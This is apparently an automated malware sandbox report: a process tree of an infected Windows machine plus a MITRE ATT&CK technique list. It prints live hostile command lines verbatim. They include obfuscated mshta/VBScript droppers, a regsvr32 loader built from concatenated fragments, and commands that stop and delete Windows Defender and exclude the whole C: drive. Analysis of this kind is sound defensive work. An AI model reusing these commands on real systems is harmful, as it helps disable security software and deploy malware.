C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCriPt:ClOSE(cREAteObjecT("wscrIPt.sHeLL" ). rUN ("C:\Windows\system32\cmd.exe /q/C cOpy /y ""C:\Users\Admin\AppData\Local\Temp\qXK~CwG.exe"" ..\qXK~CwG.exe&& START ..\QxK~CWG.EXe -PR0oRU_ZO88aZ9ZaPNxDj_e0zJ2xs & if ""-PR0oRU_ZO88aZ9ZaPNxDj_e0zJ2xs "" == """" for %u iN (""C:\Users\Admin\AppData\Local\Temp\qXK~CwG.exe"") do taskkill -F -IM ""%~Nxu"" " ,0, trUE))5⤵PID:1824
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q/C cOpy /y "C:\Users\Admin\AppData\Local\Temp\qXK~CwG.exe" ..\qXK~CwG.exe&& START ..\QxK~CWG.EXe -PR0oRU_ZO88aZ9ZaPNxDj_e0zJ2xs & if "-PR0oRU_ZO88aZ9ZaPNxDj_e0zJ2xs "== "" for %u iN ("C:\Users\Admin\AppData\Local\Temp\qXK~CwG.exe") do taskkill -F -IM "%~Nxu"6⤵PID:3192
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscRIpt: ClOSe ( creATEOBJeCt( "wscRipT.sHeLl" ). RUN ( "cmd.eXe /q /C ECHO %rANDom%> 36HXHC.dP & eCho | set /p = ""MZ"" > 56Iu6A6.Km & COpY /B /y 56IU6A6.kM +dI2GIR.Wt+ agANL.x + 49P5Ah.89M +_L7g.40 + kaZO.7sJ+ QG0L.RG + 36HXHC.Dp ..\kUYT9A4.G & dEL /q *&StaRt regsvr32 -u /s ..\kUYt9a4.G ",0 , tRUe ))5⤵PID:5552
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /C ECHO %rANDom%> 36HXHC.dP & eCho | set /p = "MZ" > 56Iu6A6.Km & COpY /B /y 56IU6A6.kM +dI2GIR.Wt+ agANL.x + 49P5Ah.89M +_L7g.40 + kaZO.7sJ+ QG0L.RG+ 36HXHC.Dp ..\kUYT9A4.G &dEL /q *&StaRt regsvr32 -u /s ..\kUYt9a4.G6⤵PID:4264
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCho "7⤵PID:1904
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set /p = "MZ" 1>56Iu6A6.Km"7⤵PID:4376
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 -u /s ..\kUYt9a4.G7⤵PID:4528
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -F -IM "1058.exe"4⤵
- Kills process with taskkill
PID:1348
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1A7B.exeC:\Users\Admin\AppData\Local\Temp\1A7B.exe1⤵PID:2124
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe2⤵PID:6004
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe3⤵
- Kills process with taskkill
PID:3440
-
-
-
C:\Users\Admin\AppData\Local\Temp\3BA0.exeC:\Users\Admin\AppData\Local\Temp\3BA0.exe1⤵PID:5356
-
C:\Users\Admin\AppData\Local\Temp\3BA0.exe"C:\Users\Admin\AppData\Local\Temp\3BA0.exe"2⤵
- Modifies data under HKEY_USERS
PID:6232
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5356 -s 6482⤵
- Program crash
PID:3220
-
-
C:\Windows\SysWOW64\wqkrhpsm\jqnpceny.exeC:\Windows\SysWOW64\wqkrhpsm\jqnpceny.exe /d"C:\Users\Admin\ntpyxrhm.exe"1⤵
- Suspicious use of SetThreadContext
PID:3720 -
C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵PID:6804
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5348
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:4348
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious use of SetWindowsHookEx
PID:1972
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:5728
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
PID:6292 -
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
- Loads dropped DLL
- Modifies registry class
PID:3176
-
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵PID:5220
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k wsappx -s AppXSvc1⤵PID:6580
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:4748
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵PID:6208
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5100
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:2712
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4528
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:6064
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:808
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5016
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4340
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵PID:6360
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:6840
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:420
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:3304
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:6664
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:6540
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4712 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4712 -s 20402⤵
- Program crash
PID:4376
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4692
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:6688
-
C:\Users\Admin\AppData\Local\Temp\348A.exeC:\Users\Admin\AppData\Local\Temp\348A.exe1⤵PID:4124
-
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run2⤵PID:656
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend3⤵PID:6940
-
-
-
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run2⤵PID:4756
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2096
-
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_Ahdhwhfrcdfiijaq.vbs"2⤵PID:4060
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath C:\,'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VGA\Drivers\VGA.exe'3⤵PID:5484
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 5; Remove-Item -Path "C:\Users\Admin\AppData\Local\Temp\348A.exe" -Force2⤵PID:956
-
-
C:\Users\Admin\AppData\Local\Temp\348A.exeC:\Users\Admin\AppData\Local\Temp\348A.exe2⤵PID:4884
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4124 -s 16082⤵
- Program crash
PID:6280
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:6608
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5672
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4996
Network
MITRE ATT&CK Enterprise v6
Persistence
BITS Jobs
1Modify Existing Service
3New Service
1Registry Run Keys / Startup Folder
2Defense Evasion
BITS Jobs
1Disabling Security Tools
3File and Directory Permissions Modification
1Impair Defenses
1Modify Registry
6Virtualization/Sandbox Evasion
2Web Service
1